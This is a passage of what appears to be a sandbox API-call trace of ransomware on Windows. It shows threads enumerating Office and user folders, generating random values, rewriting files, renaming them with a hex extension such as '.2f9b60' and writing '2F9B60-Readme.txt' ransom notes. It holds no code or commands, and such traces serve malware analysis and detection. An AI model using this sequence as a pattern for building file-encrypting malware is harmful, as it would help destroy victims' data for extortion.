[0120.873] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0120.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0120.873] NtQuerySystemTime (in: CurrentTime=0x1d3ef540 | out: CurrentTime=0x1d3ef540*=132462177262738000) returned 0x0 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x25c4d780 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x256f2600 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x5e2f53be [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x45769cc [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x5d9c8d1b [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x25efb040 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x76baf010 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x5c5aa9b1 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x43987f4b [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x46deb2ff [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x6ecc7bbf [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x13cc4a81 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x6215c924 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x384a72ba [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x6991184a [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x13b25553 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0xd011f93 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x33e60162 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x3acca2d0 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x2d19733c [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x6db40139 [0120.873] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x30302e3f [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x42594b82 [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x7cfa8c31 [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x5828d8be [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x23929684 [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x7dbf82ac [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x359f4c46 [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x5e241105 [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x46deb2ff [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x1306631c [0120.874] RtlRandomEx (in: Seed=0x1d3ef530 | out: Seed=0x1d3ef530) returned 0x651a18b [0120.882] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.883] ReadFile (in: hFile=0x1694, lpBuffer=0x41ecc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d3ef5a0, lpOverlapped=0x0 | out: lpBuffer=0x41ecc1b0*, lpNumberOfBytesRead=0x1d3ef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.239] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0122.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f90 [0122.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0122.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fdb4e0 [0124.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0124.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0124.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616a0) returned 1 [0124.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f90) returned 1 [0124.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0124.479] WriteFile (in: hFile=0x1694, lpBuffer=0x41fdb4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d3ef5a0, lpOverlapped=0x0 | out: lpBuffer=0x41fdb4e0*, lpNumberOfBytesWritten=0x1d3ef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fdb4e0) returned 1 [0124.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ecc1b0) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20260e90 [0124.540] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.540] WriteFile (in: hFile=0x1694, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1d3ef650, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x1d3ef650*=0x100, lpOverlapped=0x0) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0124.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0124.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced79b0) returned 1 [0124.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1ced79b0 [0124.601] sprintf (in: _Dest=0x1ced79b0, _Format="%c%c" | out: _Dest="a9") returned 2 [0124.601] sprintf (in: _Dest=0x1ced79b2, _Format="%c%c" | out: _Dest="30") returned 2 [0124.601] sprintf (in: _Dest=0x1ced79b4, _Format="%c%c" | out: _Dest="44") returned 2 [0124.601] sprintf (in: _Dest=0x1ced79b6, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.601] sprintf (in: _Dest=0x1ced79b8, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.601] sprintf (in: _Dest=0x1ced79ba, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79bc, _Format="%c%c" | out: _Dest="bd") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79be, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79c0, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79c2, _Format="%c%c" | out: _Dest="ba") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79c4, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79c6, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79c8, _Format="%c%c" | out: _Dest="02") returned 2 [0124.602] sprintf (in: _Dest=0x1ced79ca, _Format="%c%c" | out: _Dest="8c") returned 2 [0124.602] RtlInitAnsiString (in: DestinationString=0x1d3ef6c8, SourceString="a93044c91be2bd6bc6ba0e1c028c" | out: DestinationString="a93044c91be2bd6bc6ba0e1c028c") [0124.602] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d3ef698, SourceString="a93044c91be2bd6bc6ba0e1c028c", AllocateDestinationString=1 | out: DestinationString="a93044c91be2bd6bc6ba0e1c028c") returned 0x0 [0124.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97bc0 [0124.602] wcscat (in: _Dest=0x202af2b0, _Source="a93044c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c" [0124.602] wcscat (in: _Dest=0x202af2b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c.2f9b60" [0124.602] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c.2f9b60", NtPathName=0x1d3ef670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\a93044c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad3f0 [0124.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0124.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46ec0) returned 1 [0124.641] NtQueryInformationFile (in: FileHandle=0x1694, IoStatusBlock=0x1d3ef6d8, FileInformation=0x1d3ef6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d3ef6d8, FileInformation=0x1d3ef6e8) returned 0x0 [0124.641] NtSetInformationFile (FileHandle=0x1694, IoStatusBlock=0x1d3ef6d8, FileInformation=0x1d3ef6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af2b0) returned 1 [0124.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0124.647] FlushFileBuffers (hFile=0x1694) returned 1 [0124.652] CloseHandle (hObject=0x1694) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202af2b0 [0124.657] wcscpy (in: _Dest=0x202af2b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" [0124.657] wcscat (in: _Dest=0x202af2b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\2F9B60-Readme.txt" [0124.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\2f9b60-readme.txt")) returned 0xffffffff [0124.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe54 [0124.664] WriteFile (in: hFile=0xe54, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1d3ef590, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1d3ef590*=0xba9, lpOverlapped=0x0) returned 1 [0124.675] CloseHandle (hObject=0xe54) returned 1 [0124.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af2b0) returned 1 [0124.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 Thread: id = 1478 os_tid = 0x196c [0120.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b2b0 [0120.652] wcscpy (in: _Dest=0x2050b2b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" [0120.652] wcscat (in: _Dest=0x2050b2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\" [0120.652] wcscat (in: _Dest=0x2050b2b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*" [0120.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c590 [0120.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dfd0 [0120.652] wcscmp (_String1=".", _String2=".") returned 0 [0120.652] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.652] wcscmp (_String1="..", _String2=".") returned 1 [0120.652] wcscmp (_String1="..", _String2="..") returned 0 [0120.652] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0120.652] wcscmp (_String1="14", _String2=".") returned 1 [0120.652] wcscmp (_String1="14", _String2="..") returned 1 [0120.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050b340 [0120.653] wcscpy (in: _Dest=0x2050b340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" [0120.653] wcscat (in: _Dest=0x2050b340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\" [0120.653] wcscat (in: _Dest=0x2050b340, _Source="14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" [0150.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050b340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64 [0150.905] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0150.905] FindClose (in: hFindFile=0x1cd9dfd0 | out: hFindFile=0x1cd9dfd0) returned 1 [0150.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c590) returned 1 [0150.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b2b0) returned 1 [0150.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 Thread: id = 1479 os_tid = 0x1970 [0120.655] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url")) returned 0x20 [0120.655] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x20) returned 1 [0120.656] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1798 [0120.656] GetFileSizeEx (in: hFile=0x1798, lpFileSize=0x1d6cfce0 | out: lpFileSize=0x1d6cfce0*=226) returned 1 [0120.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0120.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6620 [0120.656] NtQuerySystemTime (in: CurrentTime=0x1d6cfba0 | out: CurrentTime=0x1d6cfba0*=132462177260554000) returned 0x0 [0120.656] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0xcae13e [0120.656] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x761807b8 [0120.656] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x726bc918 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x52d74d1e [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x22a56e50 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x4e72dbc6 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x5de3b4bf [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0xbf603f7 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x324f74c3 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x3aa42ce0 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x108c929e [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x70dbbef3 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x3342965a [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x1c02eea7 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x746bdc03 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x73ecaf7c [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x6f0a462b [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x2ece9000 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x652d63a9 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x27c70080 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0xd7226e0 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x7c03ef7c [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x444debce [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x3e3937f2 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x13d8574a [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0xd8f7543 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x337888b7 [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x479379e [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x6f1e59ba [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x1f27066e [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0x1e81aa8f [0120.657] RtlRandomEx (in: Seed=0x1d6cfb90 | out: Seed=0x1d6cfb90) returned 0xdbb6da5 [0120.664] ReadFile (in: hFile=0x1798, lpBuffer=0x202e2d80, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x1d6cfb90, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesRead=0x1d6cfb90*=0xe2, lpOverlapped=0x0) returned 1 [0120.665] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.665] WriteFile (in: hFile=0x1798, lpBuffer=0x202cc520*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x1d6cfb94, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesWritten=0x1d6cfb94*=0xe2, lpOverlapped=0x0) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70a0 [0122.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0122.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0122.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202cc520) returned 1 [0122.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e2d80) returned 1 [0122.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0122.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda0670 [0122.192] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.192] WriteFile (in: hFile=0x1798, lpBuffer=0x1b7d9a50*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1d6cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d9a50*, lpNumberOfBytesWritten=0x1d6cfcb0*=0x11c, lpOverlapped=0x0) returned 1 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0122.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6860) returned 1 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda05f0 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0122.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6470 [0122.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6470) returned 1 [0122.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c490 [0122.947] sprintf (in: _Dest=0x1cd9c490, _Format="%c%c" | out: _Dest="27") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c492, _Format="%c%c" | out: _Dest="30") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c494, _Format="%c%c" | out: _Dest="e5") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c496, _Format="%c%c" | out: _Dest="c8") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c498, _Format="%c%c" | out: _Dest="e8") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c49a, _Format="%c%c" | out: _Dest="51") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c49c, _Format="%c%c" | out: _Dest="6f") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c49e, _Format="%c%c" | out: _Dest="95") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4a0, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4a2, _Format="%c%c" | out: _Dest="97") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4a4, _Format="%c%c" | out: _Dest="aa") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4a6, _Format="%c%c" | out: _Dest="21") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4a8, _Format="%c%c" | out: _Dest="e7") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4aa, _Format="%c%c" | out: _Dest="55") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4ac, _Format="%c%c" | out: _Dest="47") returned 2 [0122.947] sprintf (in: 